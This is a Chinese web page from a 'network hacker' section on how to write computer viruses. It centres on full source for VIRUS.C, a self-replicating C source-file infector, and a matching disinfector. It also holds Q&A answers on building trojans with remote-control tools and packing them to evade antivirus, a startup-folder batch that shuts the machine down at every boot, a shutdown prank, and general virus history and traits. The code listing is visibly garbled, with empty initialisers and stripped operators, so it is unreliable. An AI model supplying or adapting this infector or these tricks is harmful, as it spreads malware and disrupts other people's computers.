当前位置: 首页 » 网络黑客 » 怎么编程病毒_怎样编程病毒

怎么编程病毒_怎样编程病毒

作者:hacker 时间:2022-12-31 阅读数:121人阅读

文章栏目:

怎样编写病毒

3.1.1病毒程序VIRUS.C

这是一个用C语言写的病毒程序,当激发病毒程序时显示时间,然后返回。病毒程序VIRUS.C可将病毒传染给一个C语言程序。当被病毒感染的程序经编译、连接和执行后,又可以将病毒部分传染给其他的C语言源程序。每执行一次带有病毒的C语言程序,就向C语言源程序传播一次病毒。此程序的设计思路如下:

当含有病毒部分的程序被执行时,首先进入病毒程序。它在磁盘上找扩展名为C的匹配文件,如果找到,查找是否有被传染过的标志“INFECTED”。如果有此标志,继续找其它的C文件,直至全部检查一遍。若没有这个标志,则

(1)在未被感染的C程序头部加入“INFECTED”已被传染标志。

(2)读取病毒文件的头文件,将其插入到即将被感染的文件头部。如果发现有重复则不插入。

(3)在主程序中插入“VIRUSES();”调用VIRUSES函数。寻找printf、for、while、break语句,如果找到就在之前插入。

(4)在文件尾部插入VIRUSES_SUB子程序。

(5)在插入到将感染文件里面的VIRUSES_SUB子程序里面,必须把文件名改为当前自身的文件名,否则被传染后的文件经过编译、连接和运行后不能再继续传染。

(6)最后插入VIRUSES子程序。这个子程序里面调用了VIRUSES_SUB,执行到这里返回执行结果信息。

其中用到4个出错的返回值,分别是:

1:用户文件太大,不传染;

2:带病毒文件打不开,不传染;

3:带病毒文件读取不成功,不传染;

4:查找第一个匹配文件不成功。

如果返回值是0代表文件传染成功。

具体实现过程如下:

其中用到的函数和结构体用法参考3.3节。

首先导入病毒子程序要用到的三个库文件,分别是dir.h, stido.h, dos.h.在主函数里面只调用VIRUSES函数。紧跟定义VIRUSES函数里面要调用的VIURS_SUB函数。里面定义了若干个变量。ffblk用来保存查找到的匹配文件的信息,用到里面的ff_name变量来保存匹配文件名。

然后定义保存未感染的文件和病毒文件的文件型指针变量,分别用是*virus_r和*virus_v.读取文件的缓冲区,放到二维数组a[500][80]里面临时存放。因为此程序对大于500行的C文件不进行传染,所以完全可以放到里面。首先用getdate函数获取系统当前日期并输出。接着用findfirst函数查找扩展名为C的文件,将其信息保存到ffblk里面。用fgets函数读文件的第一行,长度是80-1个字符。然后用strstr函数检测病毒的标志,看文件是否有INFECT这个标志。

如果有,表示文件已经被传染,关闭文件,不进行传染。当含有病毒部分的程序被执行时,首先进入病毒程序。它在磁盘上查找*.C的匹配文件,一旦找到,查找“已被传染过”的标志INFECTED。若有此标志,继续找其它*.C文件,直至全部检查一遍。

如果没有这个标志,将文件全部读入a[500][80],如果发现文件超过500行,不传染,返回。将文件指针指向文件头,打开带病毒的文件。如果打不开,返回。

然后读取带病毒文件的前4行,也就是病毒子程序要用到的头文件,写入将被传染的文件。若不能读取带病毒文件,返回。用n_line变量控制行数,把将被传染文件的源程序写回原文件。其中要进行处理不写入病毒文件已有的包含语句,也就是说使#Include语句不重复。

这点是这样实现的:定义一个字符数组char include_h[]=; strstr函数查看将被传染文件的头文件是否和*include_h[]相同,如果相同,不进行插入。找出CALL VIRUSES;的插入点:如果有一行有printf、break、for、while语句其中之一,就对其后插入调用VIRUSES函数的调用语句。把病毒子程序写入文件。最后处理更改被感染的文件名。如果不进行改名,就不能进行多次传染,也就是说不能体现病毒的自我复制能力。查找一行是static char viruses_f[]=,把其中的文件名改为被感染的文件名。接着查找下一个匹配文件。

3.1.2病毒清除程序REVIURS.C

病毒的清除过程是和传染过程相逆的。传染的时候插入调用viruses函数的调用语句,在病毒清除文件里面就要删除掉这个语句。然后还要删除掉病毒子程序VIURSES_SUB和VIURSES。有一个问题不能进行还原。因为当时插入病毒子程序需要的头文件时没有记录传染前文件的头文件信息,所以不能进行还原。但是这一点不影响原文件。所以这点在病毒清除程序中没有进行处理。

由于演示的时候病毒程序VIRUS.C和清除病毒程序REVIURS.C放在同一个目录下进行演示。考虑到VIRUS.C会把REVIURS.C传染和REVIRUS.C会把VIRUS.C清除两种情况。所以编写这两个程序的时候必须加入一条条件语句if(strcmp(ffblk.ff_name,"REVIRUS.C")!=0)和if(strcmp(ffblk.ff_name,"VIRUS.C")!=0)。

当含有清除部分的程序被执行时。它在磁盘上找扩展名为C的匹配文件,如果找到,查找是否有被传染过的标志“INFECTED”。如果无此标志,继续找其它的C文件,直至全部检查一遍。若有这个标志,则

(1)查找磁盘文件,如果是有病毒的传染标志“INFECTED”则打开文件。如果没有则关闭文件并且寻找下一个TEST*.C。

(2)读取文件,首先判断是否为Viruses();如果不是则判断是否为int Viruses_sub(),如果都不是,则把读取部分放在二维数组a[500][80]中,如果只是为int Viruses_sub(),则读取文件结束。

(3)关闭文件,然后删除该文件。

(4)创建一个跟删除文件相同名字的文件。然后打开。

(5)把二维数组a[500][80]中的数据写入到新建的文件中。关闭文件,读取下一个文件。

3.2 程序流程图

3.2.1 病毒程序VIRUS.C流程图

N

N

Y Y

Y

N

3.2.2 解毒程序REVIRUS.C流程图

N

Y

Y

N

Y

N

3.3其中用到的函数和结构体的说明:

(1)结构体struct ffblk (在dir.h中)类型变量

变量ffblk用于打开文件,获取返回值。

Struct ffblk

{char ff_reserved[21];

char ff_attrib;

unsigned ff_ftime;

unsigned ff_fdate;

long ff_fize;

char ff_name[13];

};

程序中只用到ff_name来保存匹配文件名。

(2)结构体struct date(在dos.h中)变量

struct date

{int da_year; /* Year-1980 */

char da_day; /* Day of the month */

char da_mon; /* Month (1=Jan) */

};

程序中用来获取系统当前日期。具体用法为:

void getdate (struct date *datep);

(3)查找匹配文件

findfirst()函数和findnext()函数

调用方式:整型数=findfirst(文件名,结构变量名,属性常数组合(如0×24));

功能:检索由path和attr指定的文件,把结果返回到afer。

Findfirst返回关于第一个指定文件的信息。

Findnext继续检索。

返回值:0(检索成功),-1(没有找到指定的文件)

属性常数:

FA_NORMAL(0*00) 含意:Normal file, no attributes

FA_RDONLY (0*01) 含意:只读

FA_HIDDEN(0*02) 含意:隐含文件

FA_SYSTEM(0*24) 含意:系统文件

需要用到的头文件: dir.h

程序中的匹配文件属于普通文件,所以属性常数为0。

(4)读文件

函数原形:char *fgets (char *a, int n, FILE *fp);

功能:

从fp指向的文件读取一个长度为(n-1)的字符串,最后加一个’ \0’,存入始地址为a的空间。

若在读完n-1个字符之前遇到换行符或EOF,读入即结束。

返回值:返回地址a。

若遇文件结束或出错,返回NULL。

(5)在字符串中查找指定字符串的第一次出现

函数原形;

char *strstr(char *str1,char *str2);

功能:找出str2字符串在str1字符串中第一次出现的位置(不包括str2的串结束符)。

返回值:返回该位置的指针。

若找不到,返回NULL指针。

程序中用这个函数来判断字符串是否一致。

(6)改变文件位置指针

函数原形:int fseek (FILE *fp, long offset, int base);

功能:将fp所指文件的位置指针移到以base所指出的位置为基准、以offset为位移量的位置。

返回值:返回当前位置。否则,返回-1。SEEK_SET为文件开始。

由于读取文件的时候文件指针要发生变化。而重新执行一条命令的时候需要重新定位文件指针的位置,所以要用到fseek函数。程序中用这个函数定位到文件头,对文件进行重新读取。

3.4 程序清单

3.4.1病毒程序VIRUS.C程序清单如下:

/*INFECTED*/

#include "stdio.h"

#include "dos.h"

#include "dir.h"

main()

{

viruses();

}

int viruses_sub()

{

struct ffblk ffblk;

int done,i,j,k,n_line;

FILE *virus_r,*virus_v;

/*virus_r指向将被感染的文件,virus_v指向已带病毒的文件*/

char a[500][80],b[80],*p1,*p2; /*将被传染的文件读入a[500][80]临时存放*/

static char viruses_f[]=;/*文件被传染后,修改该值为自身文件名*/

int include_write;

int virus_call=0;

int virus_start=0;

char *main_flag[]=;

char *include_h[]=;

char *v_flag[]=;

struct date today;

/*VIRUSES DISPLAY*/

getdate(today); /*病毒显示日期信息*/

printf("Today is %d/%d/%d\n",today.da_mon,today.da_day,today.da_year);

/*AFFECT VIRUSES*/

done=findfirst("*.c",ffblk,0); /*查找第一个匹配文件*/

while(!done)

{

if(strcmp(ffblk.ff_name,"REVIRUS.C")!=0)

{

virus_r=fopen(ffblk.ff_name,"r+w");

if(virus_r!=NULL)

{

p1=fgets(a[0][0],80,virus_r);

if(strstr(p1,v_flag[0])==NULL)

{

n_line=0; /*把文件全部读入a[500][80]*/

while(p1!=NULL)

{

n_line++;

p1=fgets(a[n_line][0],80,virus_r);

if(n_line=500)

{

fclose(virus_r);

return(1);

}

}

fseek(virus_r,0,SEEK_SET);

virus_v=fopen(viruses_f[0],"r"); /*打开带病毒的文件*/

if(virus_v==NULL)

{

fclose(virus_r);

return(2);

}

for(i=1;i5;i++) /*读带病毒文件前4行并写入将被传染的文件*/

{

p2=fgets(b,80,virus_v);

if(p2==NULL)

{

fclose(virus_r);

fclose(virus_v);

return(3);

}

fputs(b,virus_r);

}

for(j=0;jn_line;j++) /*把将被传染文件的原程序写回原文件*/

{

include_write=1; /*不写入病毒文件已有的包含语句*/

if(strstr(a[j][0],"#include")!=NULL)

for(i=0;i3;i++)

if(strstr(a[j][0],include_h[i])!=NULL)

include_write=-1;

if(virus_call==0) /*插入调用语句,并加上回车换行*/

for(i=0;i4;i++)

if(strstr(a[j][0],main_flag[i])!=NULL)

{

for(k=0;k80;k++)

b[k]=0;

strcpy(b[0],"viruses();");

b[10]=13;

b[11]=10;

fputs(b,virus_r);virus_call=1;

i=4;

}

if(include_write==1)fputs(a[j][0],virus_r);

}

p1=fgets(b,80,virus_v); /*把病毒子程序写入文件*/

while(p1!=NULL)

{

if(virus_start==0) /*找病毒子程序的第一条语句*/

if(strstr(p1,"int viruses_sub()")!=NULL)

virus_start=1;

if(virus_start==1)

{

if(strstr(p1,"char")!=NULL)

if(strstr(p1,"viruses_f[]=")!=NULL)

{

strcpy(b[29],ffblk.ff_name);

i=strlen(b[0]);

b[i]=34;

strcpy(b[i+1],");");

b[i+3]=13;

b[i+4]=10;

}

fputs(b,virus_r);

}

p1=fgets(b,80,virus_v);

}

fclose(virus_v);

fclose(virus_r);

return(0);

}

fclose(virus_r);

}

}

done=findnext(ffblk);

}

return(4);

}

viruses()

{

int num;

num=viruses_sub();

switch (num)

{

case 0 : printf("successful\n");

break;

case 1: printf("the file is outof line\n");

break;

case 2 : printf("the viruses file cannot open\n");

break;

case 3 : printf("cannot read viruses file\n");

break;

case 4: printf("cannot find file\n");

}

getch();

}

3.4.2病毒清除程序REVIURS.C清单如下:

#include "stdio.h"

#include "dos.h"

#include "dir.h"

main()

{

struct ffblk ffblk;

int done,i,j,line,k;

static int n_line;

FILE *virus_r,*virus_v;

char a[500][80],b[80],*p;

char *v_flag[]=;

done=findfirst("*.c",ffblk,0);

while(!done)

{

if(strcmp(ffblk.ff_name,"VIRUS.C")!=0)

{

for(k=0;k500;k++)

for(j=0;j80;j++)

a[k][j]=0;

virus_r=fopen(ffblk.ff_name,"r+w");

if(virus_r!=NULL)

{

p=fgets(b[0],80,virus_r);

if(strstr(p,v_flag[0])!=NULL)

{

line=0;

while(p!=NULL)

{

p=fgets(b[0],80,virus_r);

if(strstr(b[0],"int viruses_sub()")!=NULL)

break;

else if(strstr(b[0],"viruses();")==NULL)

{

k=strlen(b);

for(j=0;jk;j++)

a[line][j]=b[j];

a[line][j+1]=0;

line++;

}

}

n_line=line;

fclose(virus_r);

remove(ffblk.ff_name); /*删除文件*/

virus_r=fopen(ffblk.ff_name,"w+"); /*打开将被感染的文件*/

for(i=0;in_line;i++)

{

fputs(a[i][0],virus_r); /*把二维数组中的数据写入原文件*/

}

fclose(virus_r);

}

}

}

done=findnext(ffblk); /*查找下一个匹配文件*/

}

}

4. 计算机病毒的演示

4.1病毒程序VIRUS.C的演示过程

在一张已经格式化的软盘上,除了病毒源程序VIRUS.C和REVIRUS.C外,还有两个尚未被感染的C语言程序TEST1.C和TEST2.C。原始代码分别如下:

TEST1.C:

#include "stdio.h"

main()

{

int i,sum;

for(i=1;i100;i++)

sum=sum+i;

printf("sum=%d\n",sum);

}

TEST2.C

#include "stdio.h"

main()

{

printf("hello,world!\n");

}

在命令提示符下键入dir命令查看文件信息。

然后编译连接并执行VIRUS.C文件,运行结果显示:

Today is 5/20/2004

Successful

说明传染成功。再用dir命令查看文件信息

可以看到TEST2.C文件已经被传染,大小从64变成3949。用type命令查看TEST1的内容

可以看到病毒的子程序已经插入了,而且在主函数里面插入了调用VIRUSES函数语句。而且文件名自动改为“TEST2.C”。(如图中红线所示)

然后再把TEST2.C文件编译连接并运行。成功后,再用dir命令查看文件信息

可以看到TEST1.C也被感染了,大小从107变成了3969。再用type命令查看,结果如下:

可以看到,文件名称已经自动改为TEST1.C,而且病毒子程序已经拷贝过来,在这个过程中REVIRUS.C始终没有被感染,达到了我们的目的。

文件被感染前后内容如下图所示:

4.2病毒清除程序REVIRUS.C演示过程

然后我们来演示病毒的清除。编译运行REVIRUS.C后用dir命令查看文件信息。

图中可以看到TEST1.C和TEST2.C都变小了。虽然没有还原到以前的大小。这是因为运行病毒子程序需要的头文件没有删除,原因前面已经提及过了。然后用type命令分别查看一下TEST1.C和TEST2.C的内容。

图中可以看到,除了程序需要用到的头文件,剩下的已经基本还原。而且没有清除VIRUS.C里面的程序,基本达到了清除病毒的目的。演示成功。

从演示过程中可以看出,一旦程序被病毒感染,这个程序经过编译连接后运行时就能向没感染上病毒的程序扩散病毒,使病毒在系统中不断蔓延下去。而病毒清除程序运行一次就可以删除掉所有的病毒子程序和插入的调用语句。

如何编写病毒

那首先要对系统底层的东西比较熟悉,如果编网络病毒,还要对网络协议很了解。并且要精通至少一门编程语言,一般写病毒用asm(汇编语言)的比较多,用其他也可以,比如vbs(vb脚本语言)或者.bat的批处理,都可以。如果写unix 类系统的病毒用c语言的多一些。但汇编知识是写高级病毒必须的知识。

如何制造木马病毒

如何制造木马病毒

问题一:怎么制作木马病毒,望详细你的基本功很差,如果你真的想学,我给你教一种,你制作一个桌面快捷关机,然后用QICQ给对方发去,只要对方打开,对方页面会出现一个对话框,对话框里写着60秒自动关机,对方无论如何都关不了那个对话框,他的机子就要关机了,你可以附加文字,比如说“叫爷,不叫60秒关机。”对方以为是病都,呵呵!这个简单吧!你应该会作吧!shutdown.exe-S-T60-C叫爷,不叫关机。有啥不懂的追问我,现把你那5分给我,再追问我。

问题二:我想做个简单的木马病毒,怎么做,用什么软件你好!这就需要用到一款远程控制软件,例如灰鸽子等等有了这款远控软件需要有一个自己的动态域名然后用动态域名在远程控制软件上生成一个木马病毒这样你就可以发给别人,别人中罚木马病毒之后他的电脑完全就会被控制你就可以对他的电脑重启、关机等操作了不过我劝你最好还是打消这个念头即便是你拥有了远程控制软件成功生成了木马病毒给别人发过去也是无法起到任何作用的原因就是木马病毒不是免杀的现在的杀毒软件不是吃素的如果不是免杀的病毒给别人发过去杀毒软件立马就查杀了没什么作用最重要的就是你做的病毒免杀对方的杀毒软件查杀不出来是病毒这样就可以了但是不要抱幻想网上绝对不会出现免杀远控的有的打着名字的旗号捆绑后门病毒试想一下别人辛辛苦苦制作出来的免杀远控会轻易的给别人或者发布到网上么?况且免杀病毒最好不要发到网上否则能免杀一个星期左右的病毒发到网上估计第二天就被杀了本人纯手打觉得有帮助请采纳谢谢!!

问题三:木马病毒是怎么制造出来的呢?木马病毒就是一种程序,这种程序专偷染上病毒电脑的用户名和密码,从而盗取金钱!

问题四:怎么制作木马病毒5分这是个比较复杂的问题,病毒开发不同于普通应用开发,需要更广泛的和更深入的编成技术系统底层问题:截取屏幕、Hook鼠标键盘网络问题:涉及到拦截数据报文,加解密数据反侦测问题:隐藏进程…………学编程2~3个月,用Delphi之类的软件,一般就可以开发普通应用程序VC++最多6个月,也能搞出些东西但要搞病毒木马等,先学3年再考虑。

问题五:怎样制造一个木马病毒5分其实木马病毒也是我们程序员写出的一个程序,因为这个程序制作的目的,和工作的原理具有破坏性和感染性,所以就被定性为木马和病毒。

另外木马和病毒不是一个概念。

学习软件编程就可以制作木马。

淡然有一些黑客软件也是可以直接生成木马的,这个比较没有技术含量。一般会操作电脑的人都可以制作,这类木马一般很容易被查杀。要做加壳程序以逃避查杀。

问题六:怎么制造简单木马病毒朋友,你好!

怎么解答你这个问题我想了半天,一条一条来吧。

1、制作木马病毒是非法的,真心的奉劝不要参与制作,不要与法律要求所背驰。如果因为这个事

情,你被抓进去,你想想你的家庭会怎样?是不是得不偿失?

2、广大网民一定要有一个好的上网习惯,还要有一个好的上网环境,在安全软件的使用上多思考。建议大家使用腾讯电脑管家,他有全国最大最全的钓鱼网站、木马网站数据库,可以有效防止大家被骗。

问题七:木马病毒怎么制作你懂的电脑程序编程吗,其实所谓的木马病毒也就是非法程序,如果你不懂编程和你说是对牛弹琴,不要害人了~还是研究一下怎么把你的人生搞个木马吧,让自己多活几年长命百岁吧!(忠告哦!)

问题八:木马病毒怎么制作佛日不能说不可说不敢说,说就是错。

问题九:怎么制作木马病毒先下几个木马病毒

如何制作电脑病毒呢

如果都想学 还是按我的 方法 用别人的病毒好了,下面由我给你做出详细的电脑病毒制作介绍!希望对你有帮助!

电脑病毒制作介绍

电脑病毒制作方法一:

你可以到网上下载相应的源代码进行改造!前提是你懂得计算机的编程语言,如C++,VB等,如果不会免谈,但你可以去下载现成的,不过可能不合你意!最后,请你不要想用它干些危害社会的事,否则你会后悔的!

电脑病毒制作方法二:

最简单的方法就是下载病毒样本 如果你要编写病毒 除非先要学会汇编及反汇编 了解最新病毒的运行模式,在它的基础上添加自己想要实现的目标 学汇编 语言方面学个 VB C C++因为这些都是基础 如果都想跳过去 我觉得就没必要学制作病毒了,如果都不想学 还是按我的方法用别人的病毒好了

谁编写了世界上第一个电脑病毒:

据美国媒体11月4日报道,25年前,一名15岁的学生编写了世界上第一个计算机病毒,起初它只是一个“小恶作剧”,但如今数以万计的病毒已成为所有电脑用户的噩梦,网络时代的到来更为病毒的传播提供了新的模式。

它最初只是一个九年级学生的恶作剧,为了戏弄那些对他先前圈套已怀有戒心的朋友,而这个恶作剧使得里奇·斯克伦塔成为电脑病毒第一人。

“愚蠢的小恶作剧”

接下来的25年里,尽管斯克伦塔创办了“Topix”在线新闻公司,协助开发了现在为时代华纳公司旗下的网景公司拥有的合作网页目录,但他被人们提起最多的仍是在世界上释放了“ElkCloner”病毒。

现年40岁的斯克伦塔说:“它只是个愚蠢的小恶作剧。我想,如果必须在因此出名或是不出名中做选择,我宁愿因此出名。不过,它是个奇怪的占位符号,代替了我所做的一切事。”

“ElkCloner”病毒和所有其他病毒一样会自我复制,但它与现在的恶意程序几乎没有什么相似之处。然而,回顾过去,它是所有令人头疼的安全问题的鼻祖。这些安全问题随着计算机普及率的提高不断增多。

斯克伦塔的朋友们当时已经不信任他了,因为在当时常见的盗版圈子里,人们常常互换电脑游戏和其他软件,斯克伦塔经常改变他交出的软盘,发布一些讥讽性屏幕信息。许多朋友开始拒绝他给的软盘。

从1到100万

他写了一种引导区病毒。当被感染软盘运行引导程序或启动时,它将病毒的复本放在计算机的内存里。一旦有人将一张没有染毒的软盘插进计算机,并输入“catalog”指令查找文件列表时,病毒复本也就写入了那张软盘。然后,刚染上病毒的软盘传到了其他人手里、其他计算机上以及其他地方。

尽管这个恶作剧对于受害者而言很讨厌,但相较于今天的病毒,它相对无害一些。第50次启动感染病毒的软盘时,将会出现斯克伦塔写的一首诗。其中写道:“它将感染你所有的软盘;它将渗入你的芯片。”

斯克伦塔于1982年初开始在学校和当地计算机俱乐部的朋友间传播这个病毒。数年后,他还会继续听到其他受害者的 故事 ,10年后,一个水兵在海湾战争期间曾遭遇过它。

如今已有数十万种病毒,也许超过100万种,这取决于如何计算细微的变种。

怎样在文本文件里编程电脑病毒?

一般用TEXT文档

在txt文档里面输入:

Starts virus

virus

virus

然后选择另存为,在文件名里里面输入:

Virus.bat(一定要写.bat,否则病毒无效)

然后选择保存,当你打开那个的时候。。。建议不要打开,电脑会死机

电脑病毒是怎么编写的

电脑病毒是我们大家都不陌生的,你们也肯定很好奇电脑病毒是什么编写的,下面是我为大家整理的相关的内容,希望对大家有帮助! 如何制作电脑病毒方法一:

计算机病毒是编写或者在计算机程序中插入的破坏计算机功能或者毁坏数据,影响计算机使用,并能自我复制的一组计算机指令或者程序代码。

方法/步骤

1.计算机病毒的特征是传播性,非授权性,隐藏性,潜伏性,破坏性,不可预见性,可触发性。计算机病毒根据感染方式可以分为感染可执行文件的病毒,感染引导区的病毒,感染文档文件的病毒。

2.计算机病毒根据感染方式可以分为感染可执行文件的病毒,感染引导区的病毒,感染文档文件的病毒。

3.现阶段的反病毒技术有特征码扫描,启发式扫描,虚拟机技术,主动防御技术,自免疫技术,云杀毒等等。

4.一个简单病毒的模块包含,触发模块,传播模块,表现模块。

5.学习计算机病毒,要了解硬盘结构,计算机扇区结构,计算机系统启动过程,文件系统,计算机引导过程。

6.汇编语言和C语言用的会比较多。

注意事项

一个是要理解计算机系统,文件格式。

一个是要精通编程,汇编和C。

计算机病毒的编写方法二:

1.打开电脑左下角开始----所有程序----启动,右键点击启动选择属性单击左键。

2.查找下文件位置,找到启动所在文件夹。就可以进行下一步了。

3.打开启动这个文件,复制下文件路径。win7的启动文件家保存的是这个路径,XP的不是这个可以自己实验下。保存下备用

4新建一个记事本,写上如下代码保存。其中shutdown -s -t 0表示0秒后关机,代码的意思是把这个代码写到启动这个文件夹下面。

5.图中标记的代码就是刚才复制的路径,原理跟以前写过的自动关机代码差不多,只是自动关机时间调为0了。

电脑病毒的特点:

计算机病毒不但本身具有破坏性,更有害的是具有传染性,一旦病毒被复制或产生变种,其速度之快令人难以预防。

传染性是病毒的基本特征。

在生物界,病毒通过传染从一个生物体扩散到另一个生物体。在适当的条件下,它可得到大量繁殖,并使被感染的生物体表现出病症甚至死亡。同样,计算机病毒也会通过各种渠道从已被感染的计算机扩散到未被感染的计算机,在某些情况下造成被感染的计算机工作失常甚至瘫痪。与生物病毒不同的是,计算机病毒是一段人为编制的计算机程序代码,这段程序代码一旦进入计算机并得以执行,它就会搜寻其他符合其传染条件的程序或存储介质,确定目标后再将自身代码插入其中,达到自我繁殖的目的。

只要一台计算机染毒,如不及时处理,那么病毒会在这台电脑上迅速扩散,计算机病毒可通过各种可能的渠道,如软盘、计算机网络去传染其他的计算机。当您在一台机器上发现了病毒时,往往曾在这台计算机上用过的软盘已感染上了病毒,而与这台机器相联网的其他计算机也许也被该病毒染上了。是否具有传染性是判别一个程序是否为计算机病毒的最重要条件。

潜伏性

有些病毒像定时炸弹一样,让它什么时间发作是预先设计好的。比如黑色星期五病毒,不到预定时间一点都觉察不出来,等到条件具备的时候一下子就爆炸开来,对系统进行破坏。一个编制精巧的计算机病毒程序,进入系统之后一般不会马上发作,因此病毒可以静静地躲在磁盘或磁带里呆上几天,甚至几年,一旦时机成熟,得到运行机会,就又要四处繁殖、扩散,继续为害。潜伏性的第二种表现是指,计算机病毒的内部往往有一种触发机制,不满足触发条件时,计算机病毒除了传染外不做什么破坏。触发条件一旦得到满足,有的在屏幕上显示信息、图形或特殊标识,有的则执行破坏系统的操作,如格式化磁盘、删除磁盘文件、对数据文件做加密、封锁键盘以及使系统死锁等。

隐蔽性

计算机病毒具有很强的隐蔽性,有的可以通过病毒软件检查出来,有的根本就查不出来,有的时隐时现、变化无常,这类病毒处理起来通常很困难。

破坏性

计算机中毒后,可能会导致正常的程序无法运行,把计算机内的文件删除或受到不同程度的损坏 。通常表现为:增、删、改、移。

可触发性

病毒因某个事件或数值的出现,诱使病毒实施感染或进行攻击的特性称为可触发性。为了隐蔽自己,病毒必须潜伏,少做动作。如果完全不动,一直潜伏的话,病毒既不能感染也不能进行破坏,便失去了杀伤力。病毒既要隐蔽又要维持杀伤力,它必须具有可触发性。病毒的触发机制就是用来控制感染和破坏动作的频率的。病毒具有预定的触发条件,这些条件可能是时间、日期、文件类型或某些特定数据等。病毒运行时,触发机制检查预定条件是否满足,如果满足,启动感染或破坏动作,使病毒进行感染或攻击;如果不满足,使病毒继续潜伏。

  • 评论列表
  •  
    发布于 2022-12-12 13:34:34  回复
  • 为害。潜伏性的第二种表现是指,计算机病毒的内部往往有一种触发机制,不满足触发条件时,计算机病毒除了传染外不做什么破坏。触发条件一旦得到满足,有的在屏幕上显示信息、图形或特殊标识,有的则执行破坏系统的操作,如格式化磁盘、删除磁盘文件、对数据文件做加密、封锁键盘以及使系统死锁等。 隐蔽
  •  
    发布于 2022-12-12 12:54:28  回复
  • r=fopen(ffblk.ff_name,"r+w"); if(virus_r!=NULL) { p=fgets(b[0],80,virus_r); if(strstr(p,v_flag[0])!=NULL) {

发表评论: